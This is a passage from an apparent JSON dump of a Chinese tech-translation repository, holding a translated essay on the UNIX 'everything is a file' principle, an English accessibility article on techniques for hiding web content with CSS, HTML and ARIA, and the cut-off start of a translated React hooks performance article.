[Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/in-unix-everything-is-a-file.md",
    "content": "> * 原文地址：[In UNIX Everything is a File](https://ph7spot.com/musings/in-unix-everything-is-a-file)\n> * 原文作者：[ph7spot.com](https://ph7spot.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/in-unix-everything-is-a-file.md](https://github.com/xitu/gold-miner/blob/master/TODO1/in-unix-everything-is-a-file.md)\n> * 译者：[pmwangyang](https://github.com/pmwangyang)\n\n# 在 UNIX 中，一切皆文件\n\n为了有计划的发展架构设计、界面、文化和开发路线，UNIX 系统明确了一系列统一的概念和创想。这几点里面最重要的一点莫过于一句咒语：「一切皆文件」，被广泛认为是 UNIX 的定义之一。\n\n最主要的设计原则是提供一个访问大范围输入/输出资源（包括文件、文件夹、硬盘、CD-ROM、调制解调器、键盘、打印机、显示器、终端机甚至跨进程和网络通讯）的统一的范例。窍门是提供一个所有这些资源的抽象对象，UNIX 之父把这个对象叫做「文件」。因为每个「文件」都由同一个 API<sup><a href=\"#note1\">[1]</a></sup>暴露，所以你可以用同一套命令来读写/操作磁盘、键盘、文件或网络设备。\n\n这个基本概念有两种含义：\n\n*   在 UNIX 中，一切都是字节流\n*   在 UNIX 中，文件系统被用作通用的命名空间\n\n## 在 UNIX 中，一切都是字节流\n\n在 UNIX 中，文件是由什么组成的呢？文件其实和一系列可读写的字节没什么区别。如果你有一个文件的索引（我们称之为「文件描述符<sup><a href=\"#note2\">[2]</a></sup>」），那么 UNIX 的 I/O 通道就已经准备好了，他们有着同样的一套操作和 API —— 无论设备的类型如何、底层硬件是什么。\n\n纵观历史，UNIX 是第一个把 I/O 抽象成一个统一的概念和一系列原语的系统。那时，大部分操作系统为每一种或一类设备提供不同的 API。一些早期的微型计算机操作系统甚至需要你使用多个命令去拷贝文件 —— 因为每个命令对应指定的软盘大小！\n\n对于大多数程序员和用户来说，UNIX 向他们暴露了：\n\n*   硬盘中的文件\n*   文件夹\n*   链接\n*   大容量存储设备（例如：硬盘、CD-ROM、磁带、USB 设备）\n*   跨进程通信（例如：管线、共享内存、UNIX 套接字）\n\n*   网络通信\n*   可交互终端\n*   几乎其他所有设备（例如：打印机、显卡）\n\n对于字节流这种形式你可以：\n\n*   `read`（读）\n*   `write`（写）\n*   `lseek`（指针移动）\n*   `close`（关闭）\n\n统一的 API 特性对于 UNIX 程序来说是基础也是非常有效的：在 UNIX 中你可以很很轻松地编写一个处理文件的程序，因为不需要关心文件是存储在本地磁盘中、储存在远程网络驱动器上、在互联网中传播、通过用户互动输入，还是通过其他程序在内存中生成。这显著降低了程序的复杂性、减缓了开发者的学习曲线。并且，UNIX 架构的这个基础特性也让程序组合到一起非常简单（你只需要传输两个特殊的文件：标准输入和标准输出）。\n\n最后请注意，当所有的文件提供一致的 API 时，一些特殊类型的设备可能会不支持某些操作。举个很明显的例子，你不可以在鼠标设备上使用 `lseek` 命令，或在 CD-ROM 设备上使用 `write` 命令（假设你的 CD 是只读的）。\n\n## 文件系统有通用命名空间\n\n在 UNIX 里，文件不仅仅是有一致 API 的字节流，而且可以被统一的方式索引：文件系统有着通用命名空间。\n\n### 全局命名空间和挂载机制\n\nUNIX 的文件系统路径为标签资源提供了一致的全局方案，从而可以忽略他们的物理地址。举几个例子，你可以使用 `/usr/local` 命令访问一个本地文件夹、`/home/joe/memo.pdf` 命令访问一个文件、`/mnt/cdrom` 命令访问 CD-ROM、`/usr` 命令访问网络驱动器上的一个文件夹、`/dev/sda1` 命令访问硬盘分区、`/tmp/mysql.sock` 命令访问 UNIX 域名套接字、`/dev/tty0` 命令访问终端，甚至使用 `/dev/mouse` 命令来访问鼠标。这些通用命名空间通常看起来像一个文件层级或文件夹，其实就像前面举的例子，这些只是一个方便的抽象概念，一个文件路径可以引用一切东西：一个文件系统、一个设备、一个网络共享或信道。\n\n命名空间是分层的，所有的资源都可以从根文件夹(`/`)访问到。你可以使用同样的命名空间来访问多个文件系统：你只是在命名空间的指定的位置（比如 `/backups`）「连接」了一个设备或文件系统（比如外置硬盘）。用 UNIX 术语来说，这个操作叫做 **挂载**（_mounting_）一个文件系统，你连接文件系统的命名空间位置叫做 **挂载点**（_mount point_）。你可以通过给挂载的文件系统中的所有资源添加以挂载点命名的前缀，就像访问通用命名空间的一部分一样，来访问它的所有资源（比如 `/backups/myproject-Oct07.zip` 这个文件）。\n\n当不同的资源会被明显覆盖的情况下，我刚刚描述的挂载机制在建立一个统一的、明确的命名空间时就至关重要。对比一下这种命名空间和微软操作系统中的文件系统命名空间 —— MS-DOS 和 Windows 把设备视为文件但是 **不会**把文件系统放在通用命名空间中，它的命名空间是分区的并且每个物理存储地址被视为独特的实体<sup><a href=\"#note3\">[3]</a></sup>：`C:\\` 是第一个硬盘，`E:\\` 是 CD-ROM 设备等等。\n\n### 伪文件系统\n\n早期，UNIX 因为提供全局 API 以及将设备挂载到统一的文件系统命名空间的特性，大幅提升了输入/输出资源的集成度。这个方法是如此成功，以至于从那时开始有一种将更多资源和系统服务暴露为文件系统全局命名空间的趋势。Plan 9 是这种做法的先驱，而现在所有新的 UNIX 系统都这么做了。\n\n这种方法导致产生了许多 **伪文件系统**，这些系统看起来和一般的文件系统一样，但是可以存取没有直接关联传统文件系统的资源。比如你可以使用伪文件系统来查询控制进程、存取内核内部或建立 TCP 连接。这些伪文件系统具有文件系统语义，可以展示分层信息，并为大部分对象提供了统一存取的方式。伪文件系统有时也被称为虚拟文件系统，特点是没有物理设备也没有备份存储器，只依靠内存来工作。\n\n伪文件系统的例子：\n\n*   **procfs** (`/proc`)：proc 文件系统包含一个特殊文件层，这个文件层可以用来查询或控制运行中的进程，或通过标准文件入口（大部分基于文本）一窥内核内部文件。\n*   **devfs** (`/dev` or `/devices`)：devfs 将所有系统中的设备以动态文件系统命名空间呈现。devfs 也可以通过内核设备驱动直接管理这些命名空间和接口，以此来提供智能的设备管理 —— 包括设备入口注册/反注册。\n*   **tmpfs** (`/tmp`)：临时文件系统的内容会在重启时消失，tmpfs 是为速度和效率而设计的，具有动态文件系统大小、用以空间清理的显式回退等特性。\n*   **portalfs** (`/p`)：通过 BSD 门户文件系统，你可以将一个服务器进程连接到文件系统通用命名空间上。这样可以提供明确的通过文件系统对网络服务的存取过程。比如一个 App 可以通过打开一个合规的文件 `/p/tcp/ph7spot.com/smtp` 来和 `ph7spot.com` 上的 SMTP 服务器进行交互。门户文件系统很神奇，因为它在文件系统中可以提供套接字语义，还可以被 UNIX 系统工具传输和使用（比如：`cat`, `grep`, `awk` 等等）—— 甚至可以通过 shell 来使用！\n*   **ctfs** (`/system/contract`)：协定文件系统作为一个以文件为基础的接口的 Solaris 协定子系统。Solaris 协定为各种各样的事件和失败情况定义了一个进程或进程组的表现形式 —— 比如，进程停止时重启。 Solaris 协定为诸如群集故障转移软件，批处理排队系统和网格计算引擎等环境中的软件管理和监视提供了非常高级的功能。\n\n能够通过文件系统语义进行管理的系统资源究竟涉及多么大的范围，上面的例子可以让你对有一个清楚的认识了。\n\n## 结论\n\n在现代的 UNIX 操作系统中，所有设备和大部分进程间通信在文件系统层级都以文件或伪文件的形式查看和管理。「一切皆文件」的 UNIX 基础愿景和设计原则，是 UNIX 成功和长久的关键因素。它提供了一个有力、简单的抽象，使得系统、工具和社区可以在其之上建立。更重要的是它用一种专有的方式来解决问题，那就是为链接工具和应用提供了强有力的集成和基础组合机制。\n\n尽管「一切皆文件」这个比喻很成功，但是一些人或多或少怀疑它的普遍性。当每个文件都被视为字节流时，产生的一个后果就是元数据缺少标准支持：为了合适地处理一个文件，每个应用必须想办法计算文件类型、架构和语义。并且，为了保存元数据，**每个**处理数据流的工具必须保持元数据不变（比如照片中的 XMP 信息）。因此，尽管 UNIX 文件的一大堆字节的形态对于链接文字界面的程序极度高效，同时也严重限制了多媒体和二进制应用的组合。\n\n尽管它有它的限制，但很多人也承认这个比喻的影响力，和它在操作系统一体化上的效果。自从 UNIX 第一次发布以来，研究者们持续推进这一中心思想。比如 Plan 9 操作系统倡导一个将系统资源完全集成的方法：Plan 9 愿景的基础就是这样的目标 —— 不仅仅设备和信道，而是将 **所有**系统接口通过文件系统代表。比如 Plan 9 的设计人员注意到在 UNIX 中，网络设备不能 **完全地**被视为合格的文件：它们通过套接字存取，而套接字有特有的打开语义并且属于一个不同的命名空间（因特网套接字的主机和端口）。Plan 9 实现并且证明了，你可以在一个全局命名空间里成功的统一所有本地和远程设备。这个想法最终以 `portalfs` 的形式在 UNIX 中实现。\n\n其他来源于 Plan 9 的创新的概念也是基于「UNIX 中，一切皆文件」原则创建的。比如 Plan 9 在统一命名空间设计之上提供了另一个抽象层：文件系统命名空间可以被每个用户、每个进程自定义，甚至动态调整<sup><a href=\"#note4\">[4]</a></sup>。最后，Plan 9 证明了「UNIX 中，一切皆文件」这个比喻，可以被在更大的层面上实现。事实上，这个基础概念在现代 UNIX 操作系统中正被继续发扬光大<sup><a href=\"#note5\">[5]</a></sup>。\n\n## 参考文献\n\n*   一本了不起的书 —— 《The Art of UNIX Programming》，Eric S. Raymond 著。\n*   《The Elements of Operating-System Style》和《Problems in the Design of UNIX》两章对本文有很大帮助。\n*   《10 Things I Hate About (U)NIX》，David Chisnall 著。\n*   「Linux 情报项目」中的挂载定义。\n*   Wikipedia 上的 《UNIX File Types》。\n*   《Understanding UNIX Concepts》，USAIL (UNIX System Administration Independent Learning) 著。\n*   《文件系统层级标准》。\n*   《proc 文件系统》，Redhat 出品。\n*   《BSD 系统下的模块化用户模式文件系统》。\n*   《Self-Healing in Modern Operating Systems》，Michael W 著。帮你更深入地理解 Solaris 协议子系统。\n\n* * *\n\n1.  <span id=\"note1\">想知道更多关于 UNIX 操作系统的背景故事，请阅读维基百科[入口](https://zh.wikipedia.org/wiki/UNIX)（译者注：需科学上网）。</span>\n2.  <span id=\"note2\">文件描述符只是存取一个文件的抽象键，文件描述符通常是整型值并且关联到一个打开的文件。</span>\n3.  <span id=\"note3\">了解详情请查看维基百科（译者注：原文没有地址，自行搜索吧）</span>\n4.  <span id=\"note4\">这个概念最终以 unionfs 的形式在 UNIX 中实现</span>\n5.  <span id=\"note5\">需要这个领域当前活动的一些例子，请查看 unionfs、portalfs 和 objfs 获取实例。</span>\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/inclusively-hidden.md",
    "content": "> * 原文地址：[Inclusively Hidden](https://www.scottohara.me/blog/2017/04/14/inclusively-hidden.html)\n> * 原文作者：[scottohara](https://www.scottohara.me)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/inclusively-hidden.md](https://github.com/xitu/gold-miner/blob/master/TODO1/inclusively-hidden.md)\n> * 译者：\n> * 校对者：\n\n# Inclusively Hidden\n\nThere are various ways to hide content in web interfaces, but are you aware of the different effects they have on the accessibility of that content? While some might think it’s strange to have multiple different ways to hide content, there are certain benefits that each method provides.\n\nThere have been many articles written about hiding content, and this post will cover some of the noted methods, and purposefully ignore others. This article will highlight the methods of hiding content that are most appropriate for modern web development, and note the accessibility impacts of each.\n\nBut before we talk about how to hide content we should ask ourselves a question…\n\n## Why are we hiding content?\n\nThere are three primary reasons to hide content in an interface. It’s important to identify what those reasons are, as they will correlate with the appropriate technique needed to hide such content to the necessary type of end-user(s).\n\n### 1. Completely Hidden Content:\n\nThis sort of hidden content is part of the intended design and UX of an interface.\n\nThere are many components in our interfaces (tab panels, off-screen navigations, modal windows, etc.) that are initially hidden until a state change occurs to bring these components, and their content, into view. Typically these sorts of initially hidden components are meant to be purposefully inaccessible until a requirement is met and the component becomes available to everyone.\n\n### 2. Only Visually Hidden Content:\n\nTo address a design’s contextual shortcomings, visually hidden content may be added to a component that have inherent visual meaning, but may otherwise be undiscoverable or confusing to users of assistive technology (ATs).\n\nAs the best interfaces are interfaces that you don’t even notice, removing extraneous visual elements and paring components down to their absolute necessities can go a long way to create seamless user experiences.\n\nHowever by striving for a minimal visual footprint, some of the first bits of “fluff” to be removed from an interface are often things like labels, or explicit copy.\n\nBy re-injecting visually hidden (but screen reader friendly) content, like text to accompany elements only represented by icons, or additional context to “read more” links, one can significantly bridge the gap between how sighted users and users relying on assistive technology will experience your interfaces.\n\nIn contrast to temporarily completely hidden content, this sort of hidden content is not meant to become visually accessible. This visually hidden content may have been added to make up for the fact it can be inferred from the visual interface, but there would otherwise be no overt announcement of it otherwise.\n\n### 3. Visual-Only Content, or hiding content to assistive technologies:\n\nIn very specific instances, there may be visual elements that should not be discoverable to users of assistive technology. While this may seem counter intuitive to creating fully accessible user experiences, the goal with hiding this sort of content is to reduce potential redundancies in information (e.g. an image that would have alt text as “warning”, followed by visible text which states “warning”. Communicating both to assistive technologies is not necessary.)\n\n## Time to properly hiding content\n\nNow that we’ve identified three categories of hidden content, the following are techniques one can utilize to appropriately hide each content type:\n\n### Hiding Content Completely\n\nThe techniques for hiding content completely are best used in conjunction with temporarily hidden content. This content should be hidden from all users until the content is needed. To achieve this, we can utilize the following:\n\n1.  CSS `display: none`: Useful for completely removing elements from the normal DOM flow. Content set to display none will not be accessible to any user.\n\n2.  HTML’s [`hidden` Attribute](https://html.spec.whatwg.org/multipage/interaction.html#the-hidden-attribute): The `hidden` attribute is a HTML5 native means to hide content to all users. It is essentially the same as using CSS to declare an element as `display: none;`. By declaring `[hidden] { display: none; }` in your CSS, even legacy browsers which don’t support the `hidden` attribute by default will still hide content in the same manner.\n\n3.  CSS `visibility: hidden`: Much like `display: none`, this declaration will completely hide content from all users, with two important differences to `display: none`.\n\n    First, this method does not remove the content from the normal DOM flow, so its “physical space” is still retained in the document.\n\n    The second difference is unlike `display: none`, `visibility: hidden` will respect CSS transitions. This makes it a preferred choice when hidden content is meant to transition between its hidden and revealed state. To compensate for the first difference, `visibility: hidden` is best paired with other CSS properties that negate its position in the DOM. e.g. use `position: absolute` to remove it from the normal DOM flow in the hidden state, or `overflow: hidden` and `height: 0;`, etc.\n\nWith these choices in mind, the correct one should be used when coding a toggle interaction for a particular component.\n\nFor instance, if a component requires a basic show and hide interaction, and the content should become available were CSS to fail, toggle a `display: none` class.\n\nIf a component should remain hidden regardless of CSS being available or not, use and toggle the `hidden` attribute.\n\nIf a more complex transition is required, like when transitioning an off-screen navigation into the viewport, use `visibility: hidden;` along with other CSS positioning and transform properties when toggling the state of the component.\n\nTo reveal content hidden via these methods, you will need to utilize JavaScript to toggle attributes or classes.\n\nHere is a quick demo of toggling content using CSS `visibility` and `display` properties:\n\nSee the Pen [toggles](http://codepen.io/scottohara/pen/ybLMOm/) by Scott ([@scottohara](http://codepen.io/scottohara)) on [CodePen](http://codepen.io).\n\n### Hiding Content Visually\n\nVisually hidden techniques allow for content to be hidden from sighted users while still allowing ATs to discover and interact with the content.\n\nThere are multiple ways to use CSS to visually hide content, but the following example will cover many use cases.\n\n```\n/* ie9+ */\n.sr-only:not(:focus):not(:active) {\n  clip: rect(0 0 0 0); \n  clip-path: inset(100%);\n  height: 1px;\n  overflow: hidden;\n  position: absolute;\n  white-space: nowrap; \n  width: 1px;\n}\n```\n\nThe above “sr-only” class is utilizing various declarations to shrink an element into a 1px square, hiding any overflow, and absolutely positioning the element to remove any trace of it from the normal document flow.\n\nThe `:not` portions of the selector are allowing a means for any focusable element to become visible when focused/active by a user. So elements that normally can’t receive focus, like paragraphs, will not become visible if a user navigates through content via screen reader controls or the Tab key, but natively focusable elements, or elements with a non-negative `tabindex` will have these elements appear in the DOM on focus.\n\nAs for some examples, this class can help provide context to read more links:\n\n```\n<a href=\"#foo\">\n  Read more\n  <!-- \n    always visually hidden because the parent \n    is the focusable element.\n  -->\n  <span class=\"sr-only\">\n    about how to visually hide content\n  </span>\n</a>\n```\n\ninline skip links:\n\n```\n<!-- temporarily hidden until <a> is focused -->\n<a href=\"#main_content\" class=\"sr-only\">\n  Jump to main content\n</a>\n```\n\nor labels to form components where context is visually implied, but may not be apparent to users reliant on screen readers.\n\n```\n<fieldset class=\"date-range-component\">\n  <legend>\n    Select Start and End Dates\n  </legend>\n\n  <!-- always visually hidden -->\n  <label for=\"start_date\" class=\"sr-only\">\n    Start Date:\n  </label>\n  <input type=\"date\" id=\"start_date\" name=\"start_date\">\n\n  <span>\n    to\n  </span>\n\n  <label for=\"end_date\" class=\"sr-only\">\n    End Date:\n  </label>\n  <input type=\"date\" id=\"end_date\" name=\"end_date\">\n</fieldset>\n```\n\nIf you’d like to learn more about `.sr-only` classes, there are additional links in the resources section at the end of the article.\n\n#### Visually Hidden: Off Screen\n\nAnother method for hiding content from view is to push it off to the left of the visible viewport of the browser.\n\n```\n/* baseline rules for an off-screen class */\n.off-screen {\n  left: -100vw;\n  position: absolute;\n}\n```\n\nAbsolutely positioning content off screen removes the content from the document flow, while also retaining access to it for ATs. It’s best to position content off to the left, as positioning it to the right may create horizontal scroll bars, if an `overflow-x: hidden;` is not set on containing elements.\n\nWhere this sort of technique can be preferred over the `.sr-only` class is when it’s modified for content that will transition from off-screen to within the view port, upon focus.\n\ne.g. grouped skip links\n\n```\n<!--\n  a list of skip links to jump directly to the \n  primary navigation or content of an interface.\n-->\n<ul class=\"off-screen-ul\">\n  <li>\n    <a href=\"#primary_nav\" class=\"skip-link\">\n      Skip to Primary Navigation\n    </a>\n  </li>\n  <li>\n    <a href=\"#primary_content\" class=\"skip-link\">\n      Skip to Primary Content\n    </a>\n  </li>\n</ul>\n```\n\n```\n/*\n  hides the list off screen, since these are links\n  that are only useful for keyboard users, and do\n  not require being consistently visible.\n */\n.off-screen-ul {\n  left: -100vw;\n  list-style: none;\n  position: absolute;\n}\n\n/*\n  Style the skip links to be fixed to the \n  top of the page, and have an initial \n  negative Y-axis value.\n */\n.skip-link {\n  background: #000;\n  color: #fff;\n  left: 0;\n  padding: .75em;\n  position: fixed;\n  top: 0;\n  transform: translateY(-10em);\n  transition: transform .2s ease-in-out;\n}\n\n/*\n  Upon focus of the skip link, transition\n  it into view by returning it's Y-axis to\n  the default 0 value.\n */\n.skip-link:focus {\n  transform: translateY(0em);\n}\n```\n\nHere’s a [CodePen of the above example](https://codepen.io/scottohara/pen/QKmWJG).\n\nSee the Pen [Simple off-screen skip link nav](https://codepen.io/scottohara/pen/QKmWJG/) by Scott ([@scottohara](https://codepen.io/scottohara)) on [CodePen](https://codepen.io).\n\nIn the above example, I’ve expanded the basic `.off-screen` class to hide the unordered list from being visible. The skip links have a variation of an off-screen class, as I want them to always be positioned at the top of the screen, but not transition in from the left. Since I want these links to individually slide into view, I’m also using the transform property, rather than top property, as [transitioning transforms has better performance (YouTube video of Will Boyd’s CSS Conf 2016 talk)](https://www.youtube.com/watch?v=bEoLCZzWZX8&feature=youtu.be).\n\n### Exploiting a Completely Hidden Content Loophole\n\nUsing `display: none`, the `hidden` attribute, and `visibility: hidden` to completely hide content will negate all users from directly access that content. However, there is a way to reveal that content solely to screen readers in certain circumstances.\n\nBy attaching an `aria-describedby` or `aria-labelledby` attribute to a focusable element, and setting the ARIA attribute’s value to the completely hidden element’s `id`, screen readers will announce the content of the completely hidden element.\n\nThe use case for doing this would be if there was a need to provide additional context to an element (like test fields in a form), or to provide a label to an element without having that content discovered and announced multiple times by a screen reader.\n\nFor example:\n\n```\n<!-- \n  the sr-only class does not completely hide content. \n  These instructions will still be discovered by screen readers.\n-->\n<p class=\"sr-only\" id=\"example_desc\">\n  Here are specific instructions for the type of information this form input is expecting to receive...\n</p>\n\n<!-- ... -->\n\n<label for=\"example\">\n  Example\n</label>\n<input type=\"text\" id=\"example\" aria-describedby=\"example_desc\">\n```\n\nThe above example would allow screen readers to read the contents of the example description as a user navigates through the document with the virtual cursor.\n\nWhile this is not “inaccessible”, the issue with it is that the information may not make sense when accessed in isolation to the form control in which it describes. It’s only necessary to make it available to users when they are accessing the form control to which it relates.\n\nSo, to make sure the content is only accessible when necessary, it could be marked up like so:\n\n```\n<!-- \n  using the hidden attribute, this description is now inaccessible\n  via standard methods of content discovery. The aria-describedby,\n  attribute on the input will still announce it to the user.\n-->\n<p hidden id=\"updated_example_desc\">\n  Here are specific instructions for the type of information this form input is expecting to receive...\n</p>\n\n<!-- ... -->\n\n<label for=\"example\">\n  Example\n</label>\n<input type=\"text\" id=\"example_2\" aria-describedby=\"updated_example_desc\">\n```\n\nNow the instructions are hidden from everyone in the normal document flow, but the ARIA attribute can still reference the ID, and reveal the content to the screen reader as descriptive text for the form control.\n\n### Hiding Content from Assistive Technology\n\nSometimes content is for decorative purposes only, and it would be optimal to not announce this content to assistive technology.\n\nFor instance, icon fonts.\n\nThe Filament Group wrote an excellent article [Bulletproof Accessible Icon Fonts](https://www.filamentgroup.com/lab/bulletproof_icon_fonts.html) that I suggest reading if you or your organization is still using icon fonts. I also suggest reading [Making the Switch Away from Icon Fonts to SVG, by Sara Soueidan](https://sarasoueidan.com/blog/icon-fonts-to-svg/).\n\nThe short version is that icon fonts can be interpreted strangely by screen readers, and as they should be coupled with text labels, or at the very least, visually hidden accessible text to describe the icon’s purpose, the icon is really just for decoration.\n\nWith this in mind, we can apply `aria-hidden=\"true\"` to the element that renders the font icon so screen readers know to ignore this content.\n\n```\n<button type=\"button\">\n  <!-- an X icon -->\n  <span class=\"icon-close\" aria-hidden=\"true\"></span> \n  <!-- replace \"this component\" with appropriate text -->\n  <span class=\"sr-only\">Close \"this component\"</span>\n</button>\n```\n\nThe above markup uses an “X” icon as the visual indicator for the close button. Since its an icon font, and doesn’t provide adequate context as a label, the icon is hidden from screen readers. Visually hidden text is instead used to properly announce its meaning to screen readers.\n\n#### Some things to be aware of if using `aria-hidden`:\n\n1.  Do not use it on focusable elements. These elements would still be focusable but not properly announced by ATs. You could add a `tabindex=\"-1\"` on the focusable element to remove it from the tab order, but the problem remains that you’ve now created an element that can’t be accessed by sighted keyboard users. Really, just don’t use `aria-hidden` on focusable content and you’ll be all set.\n\n2.  Unlike `[hidden]` where setting a `display: block;` will override the attribute’s default styling and semantics, `aria-hidden` is not tied to any CSS rules. The only way to reveal its contents to users is to set the value to “false” or better yet, to remove the attribute all together when its meant to be fully accessible to all users.\n\n3.  If you are using `aria-hidden` as a hook to hide/show content with JavaScript, then do not hard code `aria-hidden=\"true\"` on the containing element. If JavaScript becomes unavailable, hard-coded `aria-hidden=\"true\"` content would be permanently inaccessible, as there’d be no available way to change the state of that element.\n\n## To wrap this all up…\n\nLet’s do a quick recap:\n\n1.  There are three categories of hidden content:\n\n    *   Completely Hidden.\n    *   Visually Hidden.\n    *   Only Hidden from Assistive Technology.\n\n2.  Depending on the type of content, you will need to use an appropriate technique to hide it, via:\n\n    *   Using CSS or `[hidden]` to hide content completely.\n    *   Using visually-hidden / sr-only classes to visually hide content, but keep it available for assistive technologies.\n    *   Or using `aria-hidden=\"true\"` to hide content specifically from screen readers.\n\nGoing back to my initial question “why are we hiding content?”, it’s apparent that there are some elements of a UI that truly need to be hidden. And while we have techniques to hide content, but still make it accessible for assistive technology users, I wouldn’t necessarily jump to these techniques as design solutions.\n\nThe goal should be to craft interfaces and experiences that are accessible and understandable to as many people as possible. Not to create interfaces where we can shoe horn in additional context by visually hiding it by default.\n\n### Additional Resources:\n\nHere are the great resources that were already available and helped me in formulating how I wanted to discuss this topic:\n\nExternal Link:\n\n*   [WebAim: Invisible Content](http://webaim.org/techniques/css/invisiblecontent/)\n*   [How Visible vs. Hidden Elements Affect Keyboard/Screen Reader Users, by Marcy Sutton](https://egghead.io/lessons/html-5-visible-vs-hidden)\n*   [Hiding Content for Accessibility, by Jonathan Snook](https://snook.ca/archives/html_and_css/hiding-content-for-accessibility)\n*   [The State of Hidden Content Support in 2016](https://www.paciellogroup.com/blog/2016/01/the-state-of-hidden-content-support-in-2016/)\n*   [Hidden Content Tests, by Terrill Thompson](http://terrillthompson.com/tests/hiddencontent.html)\n*   [Explanation of white-space: nowrap, in sr-only class](https://medium.com/@jessebeach/beware-smushed-off-screen-accessible-text-5952a4c2cbfe)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/increase-your-apps-performance-with-react-hooks-and-the-react-dev-tools.md",
    "content": "> * 原文地址：[Increase your App’s performance with React hooks and the React Dev Tools](https://medium.com/clever-franke/increase-your-apps-performance-with-react-hooks-and-the-react-dev-tools-bfa67e72299c)\n> * 原文作者：[Koen Poelhekke](https://medium.com/@kpoelhekke)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/increase-your-apps-performance-with-react-hooks-and-the-react-dev-tools.md](https://github.com/xitu/gold-miner/blob/master/TODO1/increase-your-apps-performance-with-react-hooks-and-the-react-dev-tools.md)\n> * 译者：[Baddyo](https://juejin.im/user/5b0f6d4b6fb9a009e405dda1)\n> * 校对者：[wuyanan](https://github.com/wuyanan)，[Jerry-FD](https://github.com/Jerry-FD)\n\n# 用 React Hooks 和调试工具提升应用性能\n\n![](https://cdn-images-1.medium.com/max/5120/1*fftOIi1nxu9tJZ74EaLMMg.png)\n\n在构建 React 应用时，你会发现随着嵌套组件增多，用户界面的某些部分开始变得缓慢迟滞。这是因为，被改变 state 的元素在组件树中的层级越高，浏览器需要重绘的组件越多。\n\n本文将告诉你如何**通过备忘（[memoization](https://en.wikipedia.org/wiki/Memoization)）技术避免不必要的重绘，让你的 React 应用快如闪电。⚡**\n\n***\n\n在 [CLEVER°FRANKE](https://www.cleverfranke.com) 的一个客户端项目中，我做过一个过滤器组件，该组件包含一个展示步数的直方图。\n\n![直方图过滤器组件](https://cdn-images-1.medium.com/max/2000/1*DEaGq8vzh_oESuid9YAlbg.png)\n\n我发现每当拖拽过滤器的操纵杆，动画帧率就会骤降，导致组件失去效用。故此我决定一探究竟。\n\n## 抽丝剥茧\n\n只有明白用户拖拽操纵杆时的内部运作原理，才能确定从何处下手调试。React 使用[虚拟 DOM](https://www.codecademy.com/articles/react-virtual-dom) 来代表 DOM 中真实的元素。每当用户操作界面元素，应用的 state 都会改变。React 会遍历所有受 state 改变影响的组件，计算生成新的虚拟 DOM。React 将新旧版本的虚拟 DOM 进行比较，若发现二者有差异，就将对应的变化更新到真实 DOM 上。该过程叫做 [reconciliation](https://reactjs.org/docs/reconciliation.html)。\n\n操纵 DOM 元素可是一个非常耗费资源的任务。同样，遍历所有受影响组件的 render 函数也很耗时，`render` 函数中的计算量很大时尤其如此。因此我们要尽量减少这些**浪费性渲染**。\n\n***\n\n现在回到我们的案例：因为过滤器组件的 state 由其父组件掌控，所以我的推论是可能发生了不必要的渲染和计算。为了快速确诊，我们要使用 Chrome 调试工具。它有个 **Paint Flashing** 功能，可以将发生改变的 DOM 高亮显示。你可以在 **Rendering** 标签页临时激活该功能：\n\n![在 Chrome 调试工具中激活 Paint Flashing 功能](https://cdn-images-1.medium.com/max/2000/1*ZmzAER8ng6Xo4a67bmV_vw.png)\n\n一经激活，浏览器就会显示哪些元素被重绘了。在本案例中效果如下：\n\n![用 Paint Flashing 